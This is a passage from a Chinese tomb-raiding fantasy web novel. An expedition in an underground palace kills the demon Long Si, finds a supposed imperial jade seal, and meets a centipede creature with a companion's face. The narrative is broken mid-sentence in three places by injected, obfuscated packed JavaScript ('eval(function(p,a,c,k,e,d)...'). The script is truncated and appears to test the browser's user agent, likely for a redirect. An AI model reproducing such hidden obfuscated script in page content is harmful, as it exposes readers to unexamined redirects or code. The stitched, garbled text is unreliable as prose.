封鬼说完看了眼宋阿拽,他是一点儿表情都没有,还是那副一贯的游魂状态,好像根本就没在听自己讲话。陈老四看了一圈见没人提出异议,就自己问道: “难道下面不会是锁着那只犼吗?” 这倒是把封鬼给问住了,他确实没有想到这一层,而且在自己的潜意识里也觉得下面的东西肯定不是犼,于是就说: “之前不是和钱老爷子分析过,那犼肯定是在最底下也就是第八层啊,而且刚才那叫声不像是犼的。” “你又没听过犼叫你怎么能确定呢?”陈老四又问,封鬼这回是真回答不上来了,只能支支吾吾的说: “呃,这个,我也是靠直觉嘛……” “确实不是犼,是那龙肆,我认得它的声音。” 宋阿拽突然开口说到,封鬼还有点感激他帮自己解围。而且只有他与龙肆正面交过手,既然他说是那就肯定没错了。于是大家对这点不再怀疑,都确定刚才在下面的肯定就是龙肆。 “那就是说陈晓他们碰到龙肆了?!” 二胖抓住重点,其他人这才意识到问题的严重性。如果要真是这样,那他们可就凶多吉少了。刚才动静这么大,显然是发生了一场恶斗,也不知是否有人伤亡。 “那我们必须赶紧下去救人!”小白表现的很积极,玄武瞪了他一眼: “怎么下去?还真让鸦门小姐先去探路啊?” “不用再说了,我先下去,你们在上面等着。”鸦门不想再废话,从包里取出一捆绳子就要下去。二胖哪里肯答应,拉着她说: “那哪行啊!我们这么多男的在这怎么能让你个女人去拼命啊!” 二胖这是好意,不过鸦门那种强势的女人听起来可就不是什么好话了,皱着眉冷哼道: “哼!你这在是歧视女人吗?谁规定女人就要被男人保护的?我们跟你们一样都是人,少跟我在这搞你们那套大男子主义。” 二胖这可真是够委屈的,典型的狗咬吕洞宾啊。封鬼对他表示同情,不过他也是活该,明知道鸦门不是什么娇羞柔弱的小女人还这么说,被骂也是意料之中。 大家一看二胖被骂了回来都不敢再去劝啊,鸦门就是一大女子主义者,除非是面对能激发她女性柔弱一面的心仪男子,否则她是绝对不可能在任何男人面前表现出一点的小鸟依人啊。 然而一物总能降一物,这里头就还真有能制住鸦门的人存在。凡是都是相对而言,你解鸦门是强势,不过有人比你更强势。宋阿拽就是这么一种人,根本就不用跟她商量,直接说了句“我来”就把绳子从她手里拿了过来。 鸦门本来对他就跟别人不一样,怎么也不愿意和他发脾气,见他抢了自己的绳子也没说什么,陈老四和封鬼就趁机劝她,说论身手还是宋老板更胜一筹,再说他毕竟是和龙肆交过手的,万一下去之后又碰到龙肆也能先抵挡一下。咱们就让他先下去探路,只要安全其他人就跟着下去。 鸦门还是逞强不太情愿,陈老四就放下狠话,说你这不是一个人,大家这么多条人命可不是闹着玩的,如果你一意孤行自己出事也就算了,要是连累到其他人那就罪孽大了。 说到这个份上,鸦门就是再拧也不敢再胡来了,只得答应。他们又商定等宋阿拽下到地面之后,就打一枚信号弹通知大家。 下去之前,他们扔了冷烟火查探情况,发现铁链分布的很密集,应该比较容易攀爬。宫六将绳子的一端甩到离他们最近的铁链上固定,另外一头链接在石台上,又用一段绳子和勾环做出一个简易的滑道,把狼眼手电用黑胶带绑在宋阿拽的肩膀上,然后就见他双手握住勾环滑到了下面的铁链上。 铁链相当结实,过程也比较顺利,大家提心吊胆的看着宋阿拽跟个猴子一样在纵横交错的铁链间上蹿下跳,简直就是个玩杂技的,然后很快就消失在了黑暗中,只能看到一个越来越远的光点。 大概过了有二十多分钟,信号弹就打了上来。大家整装待发,开始一个接一个的滑到铁链上向下爬去。 上到铁链之后封鬼就发现,这些铁链根本就不是用普通的铜铁打造的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二胖边在那放肆的大笑边大声喊,简直就是个地痞流氓。封鬼在惊魂未定之余,就觉得真他娘的丢人丢到家了。被一个男人抱在怀里,还让这么多人给看见了,最让他恼火的就是二胖那嚣张的嘲笑,而且不只是他一个人,连一直都很稳重的宫六也不知什么时候跟他成一路的了,两人在那跟唱双簧一样你一句我一句的笑话他,弄得封鬼脸上是青一阵白一阵,就觉得耳根子一热,恼得直想找个地洞钻进去。 这还不算完,他娘的最让他憋屈的是作为当事人的宋阿拽竟然一点反应都没有,跟没事人一样看都不看自已一眼。这种无言的行为简直比二胖那种放肆的嘲笑还要侮辱人啊。 封鬼狠狠瞪了宋阿拽一眼,暗自决定这未来的几个小时都不跟那孙子说话。真他娘的多事,还不如放着自己不管就这么摔下去得了,顶多落一残疾,反正是死不了人,现在可好,简直就是丢死人了。 再看那宋阿拽,他竟然走进黑暗里消失了,其他人边笑边围了上去,将手电照过去,这一照不要紧,顿时所有人的笑都僵在了嘴边,再也笑不出来了。 只见他站在一个石门内,地上到处都是血,有半个被撕裂的身体血淋淋的倒在一边,肠子和脑浆散了一地。这如同屠宰场一样血腥的恐怖画面看得鸦门一下子就呕吐起来,封鬼也觉得恶心,想吐又怕别人笑话,只能扶墙在那强忍着。 不再用任何人解释说明,而且这种情况下也没有人说得出话来,不过大家都知道这半个身体是怎么回事了,这显然是被龙肆给撕裂的啊!可因为这身体少了大半个,脑袋也烂得血肉模糊了,所以根本就看不出来到底是谁。 这种死法简直就是惨绝人寰啊,连个全尸都没有留下,实在是悲惨到了极点。 “我去!这他娘的太恶心了!”二胖终于还是没憋住,一下子就骂了出来。 就在大家为这到底是哪位不幸同僚的尸体而扼腕痛惜的时候,突然从石门对面的黑暗中钻出来一个人,那人也是狼狈不堪满脸的血污,不过陈老四还是一眼就把他给认了出来。 38.【38】大战龙王 “陈晓!” 陈老四激动的叫了一声,大家这才看出来那人正是陈晓,紧接着从他身后又走出来两个人,一个是他爹陈国祥,还有一个姓周的年轻人,都是满身血渍狼狈不堪,显然是之前刚经历过一场恶战。 “你受伤了?” 陈老四拉过陈晓就问,不过他显然是胳膊受了不轻的伤,被陈老四一碰就疼得他直皱眉。陈老四扯开他早就破烂的衣服查看,这一看就是倒吸一口凉气。只见他的手臂到肩膀被拉开一道又深又宽的血口,皮肉全都外翻着。好在他已经用布条绷住了大动脉,不然这条胳膊肯定是要废了。 鸦门实在看不下去,骂了他一句就开始给他处理。这么重的伤口必须要缝针啊,可是她的针线活实在不怎么样,最后还是让封鬼给代劳了。封鬼也是二把刀,缝得歪歪扭扭,不过好歹是把两块肉给拼一起了。鸦门又给他打了抗生素,见光用绷带固定效果不好,就在绷带外面又缠了几圈黑胶带才算完。包扎完毕之后,大家就开始问他们是不是和那龙肆打斗了。 “不错,我们确实遇到那龙魔了!没想到你们也下来了,这下子可真是完了!”陈国祥就在那直念叨,大家你一言我一语都围上来问到底发生了什么事,这地上的尸体又是谁的。 “钱老爷子呢?”鸦门显然是比较关心这个,就怕那地上的是姓钱的那把老骨头啊,她还指望他能把大家都平安的带出地宫呢。 陈晓知道鸦门的心理,露出一个十分惨淡的笑容,说: “钱老爷子早就和我们走散了,在地上的那是孙教授。” 孙教授是鸦门带来的考古学家,宫六一听是他,一下子就跪倒在地,捂着脸就哭了起来。看来他们二人的关系应该是很好,大家见这么壮实一小伙子在那哭的这么伤心,就都去安慰他,好一会儿才劝住不再掉眼泪。 地上四分五裂的尸体实在是太恐怖了,没人愿意碰,有人就提议拿塑料布给他盖上得了。宫六死活不干,最后还是陈国祥帮着他把残肢收拢在一起,找了个帐篷布裹着,又用胶带纸封了好几层,将他放入一个石门内安置。 大家做了祷告和悼词,就开始询问陈晓他们到底发生了什么事。于是陈晓就把从遇到怪鸟与他们分开之后的事情简单讲了一遍。 原来当时他们为了躲避怪鸟的袭击而逃进了岔口右边的甬道,没想到却进入一个巨大的迷宫,在里面绕来绕去一个小时都走不出去。后来他们发现墙壁上刻的记号,推测应该是之前进来那批人留下来的,于是就跟着记号走,终于走出迷宫,到了通往第五层的台阶。 下去之后直接进入一个陈列兵器的石室,在那里并没有什么特别的发现,可他们在另外一个墓室中发现了一副石刻壁画,上面有一个巨大的石柱,石柱连着铁链,铁链上就锁着那天丑龙肆,而一只犼正在与它在嘶斗。那石柱显然就是指这里,壁画也证实了封鬼他们之前的推测:龙肆被囚禁在此处是为了镇犼。 “也就是说,那天丑龙肆并没有被李世民杀死,而是被捉来关在这地宫之中啊。什么造反威胁李氏江山,全都是扯淡,李淳风炼制长生不老药也是为了想增进它的能力好与那犼对抗啊。” 二胖又在那分析,不过确实也有道理。陈老四听他说完就也提出自己的看法: “我觉得李淳风是想利用龙肆除掉犼,然后得到长生不老药。可惜那犼实在是厉害,龙肆根本不是它的对手。李淳风只好又将地宫封死,把龙肆和犼都困在了里面。” 其他人都点头表示赞同陈老四的观点,陈晓就继续讲接下来发生的事情。 他们看到壁画之后也做了一些推断,和二胖以及陈老四说的差不多,不过钱串子还补充了一点,而这一点是陈晓他们无论如何都想不到猜不透的一点。 大家就问到底是哪一点,陈晓就说钱串子说战国地宫被李淳风打开,按理说这犼是能逃离地宫的,然而它却情愿与龙肆相斗也不放弃这个镇压自己的地方,那说明它并不是被人镇封在这里的,而是它心甘情愿在地宫中,也就说明这犼就是战国地宫的墓主人。 “你的意思是说,犼是墓主人变的?”封鬼很快意识到了什么,连忙插嘴问。陈晓点了点头,继续说: “不错,钱串子就是这么说的。大家应该都知道,犼是旱魃所变,而旱魃是终极赤毛僵,僵尸都是人死之后尸化而成的。所以钱老爷子推测,墓主人得到了一种所谓的长生不老药,而这种药并不是真的能长生不老,而是让死人吃了之后可以变成僵尸,然后迅速升级为旱魃,最后是犼,以此达到千年不死之身。” “啊?!变成僵尸?!这他娘的算是哪门子的长生不老啊!如果要我变成这种怪物,那还不如死了呢!”二胖在那怪叫,这时候大家也都露出不可思议的表情。不过陈老四倒是若有所思,沉声道: “钱串子果然厉害,竟然能让他想到这一层。哼,对于那些不想死的人来说,就算是变成个行尸走肉的怪物,也强过下地狱受苦啊。” 不想死?不愿下地狱?陈老四说的话让封鬼想到了陈癞子,陈癞子不正是这么一种人?害怕下地狱被那些恶鬼报复所以才想要长生不老永远活着,对他来说,就算能变成犼也算是一种长生不老啊。 “不只这些,钱串子还说,墓主人之所以不愿意离开地宫,一是因为这是他自己的地盘,还有就是为了守护某样特殊的东西,不愿意被别人得到。这东西很可能就是那长生不老药,墓主人独占欲强,肯定不可能将属于自己的东西传给别人,因此死了之后将不老药给自己陪葬,等他变成犼之后,就一直守着属于自己的东西,不让任何人接近啊。” 大家不由感叹钱串子的思维能力,果然姜还是老的辣。既然他这么推断,而且听上去也很有道理,那就是说那种可以让人变成犼的不老神药确实是在第八层,而且是被犼守在身边了。 如果真是这种长生不老药,那在场的人应该没有想要那玩意的。有人又问陈晓接下来的事,陈晓就说在那间墓室中无意间碰到了墙上的机关,地面突然露出一个方洞,他们来不及反应就全都掉了下去。着陆之后他们就发现下面的地形十分复杂,跟老鼠打的地洞一样连着许多大大小小的石洞。洞中有鸟窝,而窝里全是鸟蛋,看来这个地方是那些怪鸟孵化的育儿室。生怕再遇上那些怪鸟,他们加快脚步一路摸索前进,没想到半路钱串子和他们走岔了路,不见踪影。而那里的洞口实在是多得数不清根本就不知道他走进了哪一个,也不可能再回去找他,剩下的三人只好继续往前走。 走了半个多小时,他们感觉到有风从前面吹过来,就朝着风吹的方向一直走,没想到出口竟然是那些绝壁上的石窟窿。他们离地面还有几十米,就计划利用那些铁链爬下去。谁知道没等他们准备好,就从洞穴深处飞出来成群的怪鸟,逼得他们不得不用绳索直接滑降,下来的时候手心和大腿全都被绳子磨得皮开肉绽。 他们围着石柱到处寻找可以躲避怪鸟的地方,发现了东南西北四扇石门,本想选一个逃进去,没想到从石门里蹿出来一个怪物!和钱串子对龙肆的描述很像,头上有角,浑身披着黑鳞甲,外形确实像是炎魔,只不过体型小了许多,大概3米高,不过那也已经够他们对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而就这么耗下去也不是办法,大家就决定闯石门,看看后面到底是通往何处。 可就在这个时候,从四个石门内同时传出一阵吼叫,他们不知道龙肆究竟在哪道门内,一时间也不敢随便闯入。就是这么半分钟的犹豫,从东面的那道石门内蹿出一个庞然大物,身高三米有余。所有人都进入高度戒备状态,死死盯着这终于见面的天丑龙肆,浑身的每一条神经都紧绷了起来。 出现在众人眼前的这个似龙非龙的魔怪,浑身披着坚硬厚实的黑褐色鳞甲,在额头上竟然长着八对犄角,下颚被一对长牙撑裂,嘴上没有唇,牙齿和牙床都暴露在外,显得十分狰狞骇人。它长着两条类似驴蹄的弯曲的后腿,身后有一条不合比例的细长尾巴,粗壮的胳膊上全是疙疙瘩瘩类似蜥蜴的皮肤,看起来让人反胃。这龙魔实在是丑陋到了极点,用人类的语言都难以描述这么一只不存在于地球的异形生物,恐惧之情早已荡然无存,取而代之的是阵阵恶心与反胃。 一开始那魔怪并没有对他们展开攻击,歪着脑袋好像还在观察他们,可当他看到宋阿拽之后。显然是认得这个之前交过手的敌人,一下子就暴怒起来,嘶叫着朝他扑了过去。 所有人一起向它开火射击,可是子弹就跟打在钢甲上一样,噼里啪啦作响,根本就打不穿那些坚硬的鳞甲。 眼看着那龙肆已经到了宋阿拽的面前,抬起爪子就要对他行凶。可接下来发生的事情简直就出乎所有人的意料,宋阿拽竟然闪电般从它胳膊下跃到它的身后,扯起它细长的尾巴拉到了石柱旁,栓到根铁链上发力狠狠一扯,竟然生生把它的尾巴给扯断了。 39.【39】龙肆之死 这一下所有人都愣住了,谁也没有想到这宋阿拽竟然会把人家的尾巴给扯断,这也太心狠手辣了吧!再看那天丑龙肆,身为受害者更是没有想到自己会遭此毒手,哀嚎着捧起自己那还在抽搐的断尾,庞大的身躯蜷缩在一起看着也算是可怜啊,有人甚至产生了那么一点儿的怜悯同情之心,暗自责怪着宋阿拽的不折手段。 不过这些个不合时宜的滥同情心全他娘的都是鬼扯淡,在这种千钧一发的危急情况下,除了做出伤害敌人保全自己的行为,难道还能伸着脖子等怪物来吃你?你又不是圣徒耶稣,被人打了左脸还把右脸伸出来继续让人家打,教化感悟对那些妖魔鬼怪是行不打通的,所谓见什么人干什么事,对付这些妖怪就只有跟孙悟空一样,抡起金箍棒全都打杀了! 不过话说回来这龙肆也确实真够惨的,本来这地宫就是人家的地盘,在里面有吃有喝过的也逍遥自在,可他们一来就打瞎人家的眼睛弄断人家的尾巴,这他娘的搁到谁的身上都不好受啊,它能不发狂发怒吗?就见那龙肆呲牙咧嘴的咆哮几声,将尾巴甩掉,冲着众人就喷出一团火焰,正好烧到了小白的身上。 没想到那白虎纵身一跃,竟然从火里跳了出来,只是半截袖子着了火很快就被他给熄灭。看来他的身手也是相当了得啊,其他人见这些人个个都是狠角色,心里顿时就放宽了不少,端着枪一并退居二线做掩护,让宋玄白三人徒手对付那龙肆。 不过他们也不可能就这么坐山观虎斗不想办法帮忙,趁着他们打斗的空隙,封鬼拿出邪牙刀准备捐点儿血以助降魔,没想到割破手之后发现,流出来的血竟然变成了暗红色,也不知道是不是还在受宋阿拽的影响,自己的封鬼宝血不管用了。不过他也来不及研究到底有没有效,必须尝试一把才知道,就和大家商量,让二胖和宫六扯着五帝钱红线从龙肆身后袭击,将它绊倒在地;陈老四和小周吸引它的注意力,而封鬼就跳上他的后背用邪牙插入它脑后的软肋,鸦门最后再补一招猛虎下山力降龙,将写有咒印的朱砂苻印塞入龙肆口内,再在它脑门打入三根摄魂钢钉,那天丑龙肆势必魂飞魄散必死无疑。 几人如此这般商定之后,见龙肆与那三人杀得天昏地暗根本无暇顾及其他,此时小白又在它胸前踢了一脚,使龙肆正好背向了他们。这正是天赐良机,二胖朝宫六点头示意,两人扯着红线就火速冲了上去,而就在这个时候玄武也刚巧洒出一把飞镖直直向龙肆的左腿射入,疼得它身子一歪,正巧绊上红绳,庞大的身躯赫然摔倒在地。 二胖大声叫好,与宫六一起缠了好几圈,把它的腿绑了个结结实实,再也没法动弹。陈老四和小周也已经过来接应,端起机关枪对着龙肆的面门就是一阵扫射,龙肆为了护住脸只好伸出胳膊抵挡,于是双手也被牵制,封鬼就趁机跳上它的后背,对准露在鳞甲外面的后颈,双手握刀使足了全身的力气将抹血的邪牙插入其中。 龙肆疼得剧烈挣扎起来,封鬼一手握住它头上的犄角一手继续将邪牙插入深处,乌血不断从它布满疙瘩的粗糙皮肉中喷出,溅了封鬼一脸,恶心得他直作呕,却还是死死抓着刀不放。 解鸦门见时机已到,将早就准备好的朱砂苻印用火点着,扔进龙肆因为痛呼而大张的口中,从皮套中拔出三根筷子粗细长短的钢针,用镇鬼破天锤钉入它的脑门正中央,手法之纯熟干练,滴血不见。 封鬼一见得手,才拔出邪牙刀跳下龙背,只见那龙肆浑身抽搐起来,从口中吐出大量黄绿色的不明秽物,一股腐烂的恶臭扑面而来。 呕吐与抽搐的过程维持了整整五分钟,伴着最后一下剧烈的痉挛,魔怪四肢僵直眼珠白翻,再也不动弹了。 所有人都站在原地喘着粗气,半响也说不出话来。这翻紧张的搏斗实在是太过激烈,浑身的骨头都像是散了架,一点儿多余的力气都使不出来。 也不知道是谁突然傻呵呵的笑了两声,估计是之前的神经太过紧绷,这突然一下放松,整个人都憨了。不过紧接着其他人也都跟被传染了一样笑了出来,这一回真他娘的算是体会到了什么叫做劫后余生啊,从绝境中解脱出来的激动心情,是任何没有经历过的人都无法体会的。这简直就是真人版的魔兽世界,谁打谁知道。 笑过之后,大家都陷入片刻的沉默,本以为终于能放松一下,没想到突然从上空又响起翅膀煽动的声音,众人慌忙抬头用矿灯照上去,就见无数的人面怪鸟盘旋而下,纷纷停落在铁链上,一眼望去简直就是成千上万,顿时有种黑云压城城欲摧的压抑感觉。 不过令人出乎意料的是,那些鸟并没有像之前一样攻击他们,而是老老实实的停在铁链上,齐刷刷的看着地上的龙肆,然后张开翅膀发出一种类似人类嘲笑的刺耳声音,显然它们是在为这鱼肉相邻的恶霸土豪之死而拍手叫好,纷纷过来围观啊! 就在这个时候,所有的人面鸟都停止了叫嚣,纷纷收起肉翅,全都垂下了脑袋。 “我去!这些鸟不是要给龙肆默哀三分钟吧!” 二胖忍不住调侃,其他人也都纳闷,不知道它们要干什么。没等他们细想,几秒钟之后,一声划破长空的类似雕枭的洪亮鸣叫从空旷的峭壁上传来,黑暗中飞出一只巨大的人面怪鸟,落在了离他们最近的铁链上。众人仔细一看,都发出一阵唏嘘长叹。 这只怪鸟体型十分巨大,比其他的鸟大了整整一倍,更为奇特的是它浑身长满了白色的羽毛,而翅膀上还有金黄色的翎羽点缀其间;鸟喙锋利成弯钩状,赤红如血,一双金色的瞳孔在黑暗中射出两道诡异的金光。这只鸟的外形像极了体型巨大的猴面猫头鹰,却更加威武霸气,体态俊美丰盈,昂首挺胸,威风凌凌,简直可以称得上是鸟中之王。 从其他鸟的俯首态度已经可以看出,这只带羽毛的人面鸟就是他们的首领鸟王,而那壁画上刻的九天 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这高高在上被奉为神明的大鹏金翅鸟,竟然展开巨大的羽翼,如优雅的谢幕舞者一样向封鬼俯首致敬!然后就煽动翅膀飞向空中,长啸一声消失在黑暗之中,其他的鸟也都跟着离去,之后一切归于平静,就好像什么都没有发生过一样,刚才只是做了场惊心动魄的梦。只有地上的那一团块状物体和一根落下的金色羽毛向众人提醒,刚才所有一切都是真实发生了的。 “我去!小封!你真TM的威风啊!连鸟王都向你低头致敬!太他娘的牛逼了!兄弟我佩服!” 二胖边骂边说,其他人也都惊奇的看着封鬼。封鬼无奈的耸了耸肩,也不知道该用什么样的表情面对大家,他对这一点也是莫名其妙,不明白那大鹏鸟神为何会向自己低头?是怕自己的封鬼宝血?还是跟陈老四之前说的那样,把自己错当成了他爷爷封九坤?如果真是这样,那说明它肯定被爷爷降服过,所以对封家人十分惧怕。可是爷爷为什么会放它一条生路呢?据二叔所说,他爷爷对任何妖魔鬼怪都是毫无怜悯之心的,不是打得魂飞魄散永世不得超生,就是镇封在时空边缘极煞之地,永远别想重见天日。 想不通就不想,只能等以后回去再问问二叔。封鬼捡起那根漂亮的金色羽毛收了起来留作纪念,就和大家一起围着地上被秽物覆盖的那块东西。 “这是什么玩意儿?不会是龙肆的心脏吧?吃了可以长生不老?” 二胖在那说笑,玄武却一下子就来了精神,连忙用衣服把东西包了起来,擦净上面的秽物显露出原本面貌之后,所有人霎时就全都倒吸一口凉气。 只见这块东西两个手掌大小,十分沉重,呈四方六面状,上面镂空刻着一条蟠龙,通体色白莹亮,质地细腻油润,竟然是块价值连城的蟠龙纽玉玺!!而玉玺的下面用鱼鸟篆刻了八个大字 “受命于天,暨寿永昌”。 陈老四肯定和玄武一样认得那上面复杂的篆字,没想到他一看之后竟然激动的爆了粗口,大声叫道: “这他娘的不是传国玉玺吗!” 40.【40】传国玉玺 “传国玉玺?您说的是秦始皇嬴政用和氏璧造的那块传国玉玺?”陈晓惊愕的看向陈老四,陈老四点了点头,叹道: “不错!就是它啊!说起这传国玉玺,估计在场的诸位都知道,当年秦始皇统一中原,建立了第一个封建帝制王朝,为其统治名正言顺,命丞相李斯于赵国所得璞玉和氏璧上书‘受命于天,暨寿永昌’八个鱼鸟篆字,又由咸阳王孙寿将之精雕细琢为玺,传国玉玺乃成,作为皇权神授、正统合法的信物。 至此之后,历朝历代帝王皆以得此传国玉玺为‘受命于天,江山永固’,如果要是丢失玉玺则表示其气数已尽。凡登大位者,要是没有此传国玉玺,就会被世人讥讽为白版皇帝,难免显得底气不足被人轻蔑。因此促使预谋此国宝得帝位者你争我夺发起无数争斗,从而使该传国玉玺屡次易主,辗转于神州大地两千余年,终于销声匿迹,至今杳无踪影,实在令人扼腕叹息啊。” 说到这里,陈国祥又是一声长叹,看来他对这传国玉玺的兴趣也是相当之浓厚。不过显然有一个人对那玉玺更是重视,玄武从一开始所表现出来的种种举动让封鬼不得不怀疑,他们就是为了这玉玺来的,难道说他们早就知道地宫中有传国玉玺,才和拥有能够开启地宫铜镜的宋阿拽一起到了此处啊。 可是他们要这传国玉玺做什么呢?按照古代帝王对这玉玺的重视程度,以为得之便能得天下啊,难不成他们是为了什么不可告人的政治目的?还有四十多年前进来的那批军队,难道说政府的人找他爷爷来也是为了这传国玉玺吗?!这里到底蕴藏着一个怎样不为人知的秘密呢? 想到这里封鬼就不敢再继续往下想了,如果再深究的话,这背后的事情就难免不会变得龌龊了,说是天大的阴谋也不为过啊。 “我去!那就是说,这玉玺是被天丑龙肆给吞到肚子里了啊!会不会李世民知道这一点才把他捉起来,是想要得到他肚子里的传国玉玺啊!” 二胖的脑子永远转的比别人快,他这么一说大家才想到确实有可能是这么回事。 “嗯,很有这个可能。”陈老四不置可否,觉得十分有道理。不过二胖真是语不惊人死不休啊,接着又说道: “那四十多年前那批政府派来的军队也是为了这玉玺啊!难不成他们是想当皇帝吗?!难道是受到中央的指示……” “你少在这放屁!小心祸从口出啊!还弄不清楚是大陆的还是台湾的政府呢,做人可悠着点,别想什么说什么。” 封鬼连忙拦住二胖不让他再继续说下去,这种事只要大家心里明白就行了,反正已经过去这么多年了,这是真是假也已经不重要了。 陈老四看了眼他二人,估计心中也是有数,十分阴险的冷笑两声,又将目光看向玉玺,对玄武说: “能不能给我看看?”说着就想去拿,没想到玄武却脸色一变,紧紧抱着玉玺对他说: “别看了,这是个假的!” “什么?假的?!”陈老四显然是不信,以为他想独吞啊。其他人也都警惕的盯着玄武,不知道他在打什么鬼主意。只见他冷哼一声,举起玉玺对大家说: “哼,传国玉玺是五龙纽,而这个是单龙纽。而且时间也不对,就算这玉玺一千多年前就在龙肆的肚子里了,从秦朝到唐朝那也辗转了千年啊,又屡次得到修补,必然留下许多的伤痕瑕疵。可是你们再看看这个,根本就是完好无损和新的一样,这显然是个赝品!我们跟龙肆一样,都被骗了!” 玄武表现得很激动,也不知道为什么会这么生气,竟然一怒之下将玉玺扔到地上,砸碎了。 “啊!” 所有人都惊得大叫一声,陈老四想去抢却已经来不及了,眼睁睁的看着这么一块璞玉被摔成了四瓣,愤恨的怒骂道: “你他娘的邪性了!就算是假的也别给他砸了啊!这也太暴殄天物了!” 陈老四捧着那堆碎石块扼腕叹息啊,就算是个赝品那也是古代高仿的A货啊,抛开精湛的工艺雕工不说,就这么大一块玉石那也要价值上千万啊! “丫脑子有病吧!我说宋老板,你也不管管你手下!这干的是人事儿吗!” 二胖也在那大骂,他倒绝对不可能跟陈老四一样看中这玉玺的历史价值,而是真真切切可惜这么大一块值钱的玉石啊。其他人也是抱怨连连,都觉得玄武太过极端,也不知道他是出于什么目的非要将这块所谓的假玉玺毁尸灭迹。 不过陈老四骂了两句之后就收声了,开始研究起那被摔碎的玉玺,不多不少正好四块,而且最为奇特的是,这石块的体积大小相当匀称,显然不可能是随便一摔就能摔成的,倒像是这块玉玺本来就由四块拼组而成的。 “你们过来看,这玉玺好奇怪啊。”陈老四叫来众人,将四块玉石断面指给大家看。大部分人都是连连摇头表示看不出什么名堂,鸦门却咦了一声说: “咦?这玉玺好像是被很锋利的工具给割开的,切口还很工整,不像是摔的啊。” 鸦门这么一说,大家才从失去一块璞玉的打击中回过神来,仔细观看,发现确实如此啊。 “不错,依我看,这玉玺本来就是由四块拼成的。而且你们看这些切面,形状非常的奇怪,像是什么特殊的图形。会不会是……” 陈老四表现出十分兴奋的神情,好像是有了什么令人振奋的大发现,封鬼忙问是什么,陈老四看了眼众人,神神秘秘的说: “会不会是四把嵌入凹槽的钥匙,可以开启通往第八层的暗门?” 陈老四话音刚落,就听见头上传来一阵铁链晃动的声音,好像是什么东西正在从上面往下爬。大家的第一反应就是那些怪鸟反悔了,是要回来把他们生吞活剥了啊。众人急忙将探灯照过去,刚开始除了黑黝黝的铁链什么都没看见,吓得大家以为是闹了鬼。可随后他们就看见,在黑暗中的一根铁链上,正趴着一个黑乎乎的类似人形的东西!而那东西正在朝他们爬了过来。再仔细一看,所有人就都炸起了头皮了!那东西根本就不是个人啊,竟然是个多手多足的怪物!正扭动着细长的身躯,好像个蜈蚣一样贴着铁链向他们游走过来! “蜈蚣!是蜈蚣精啊!” 小周大叫一声,丢下矿灯就跑,玄武一把将他拉了回来,捂住他的嘴低声叫他镇定。而宋阿拽让大家全都退后,他自己一个人朝那东西走了过去。封鬼不放心,也想跟上去看看,二胖就拦住他,说这不是强出头的时候,也不知道那他娘的到底是个什么玩意儿,要是再来个龙肆那样的怪物,自己是一点儿战斗的力气都没有了,只能躺在那晾着一身精壮肉让人家吃干抹净吧。 封鬼见他还能耍嘴皮子,看来心理上是没什么大问题啊。也难怪,这一路上经历了多少诡异恐怖的事情?怎么说也有比较强大的心理素质了。再说像龙肆那种厉害的魔怪都被他们弄死了,那还有什么是对付不了的呢? 不过看那多足怪的外形确实还是恐怖啊,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过这还不算完,让所有人震惊的不只是那张钱串子的脸,在这地蜈蚣的身上竟然还长出来一对人类的胳膊!张牙舞爪的挥动着一双苍老布满褶皱的老人手,手背上有一块明显的胎记,这正是钱串子的手啊! 这时候答案已经毫无疑问了,这条地蜈蚣确实就是钱串子,可是这也太匪夷所思了,他怎么就和虫子长到一块去了呢?!他们分开了才几个小时啊,这中间到底发生了什么恐怖的事情呢! 宋阿拽不知道为什么突然停止了哨声,而那哨声显然是可以牵制住钱串子的,至少会让他暂时进入催眠状态手脚不听使唤。可等宋阿拽无端停下哨声之后,钱串子突然就恢复了意识,一下子翻身而起,跟闪电一样窜到了早就吓得傻掉了的陈老四面前,巨大的虫身竟然跟个人一样站立了起来,伸出手抢过那被布裹着的四块传国玉玺,沿着墙壁迅速向上爬入黑暗,消失在了峭壁上的窟窿之中。 这一切事情的发生太过诡异和不可思议了,大家过了好长时间才终于是反应了过来。宋阿拽见他们都平安无事,明显松了一口气,陈老四还是惊魂未定,维持着抱住玉玺的姿势僵在原地,鸦门叫了他半天才算是答应,为失去玉玺而连连叹气。 二胖站起来揉了揉被摔疼的屁股,看着钱串子消失的方向骂道: “我去!那他娘的真是钱串子?!” 封鬼对此也给不出解释,他还真没听说过有这么一种古怪的人虫结合的状态,而且是在这么短的时间内突然发生的。宋阿拽却扭头看向二胖,用一种相当镇定严肃的表情对他说: “不,他不是钱串子,而是陈癞子!” 41.【41】 什么?那长着钱串子脸的大虫子不是钱串子,而是陈国祥的亲爹陈老四的亲哥哥,陈晓的爷爷陈癞子?! 众人在听到宋阿拽这么说之后都是一惊啊,脸上写满了困惑与不解。这他娘的又是几个意思啊!啊?钱串子什么时候变成了陈癞子了?这怎么可能呢?! 所有人都知道,姓宋的不太可能说胡话,更不可能开玩笑,可他这一次的话实在是太出乎人的意料了,简直就是莫名其妙啊。 “你什么意思啊?那明明就是钱串子的脸!怎么就成了我爹了?再说就算我爹真是占了我二哥陈三水的身体,那陈三水也不可能跟钱串子长得一样啊!” 陈老四根本就是完全不相信宋阿拽说的话,罗列了好几条证据出来说明。宋阿拽是一点儿理睬他的意思都没有,反而目光如炬的看向解鸦门,看得她都红了脸了,才幽幽的问了她一句: “钱串子是你请来的?” “是啊,怎么了?” 鸦门有点儿受宠若惊,没想到他会主动找自己说话,以为是出了什么问题,就柔声细语的询问。宋阿拽眯起眼,有些不屑的说: “你怎么确定他就是钱串子的?” 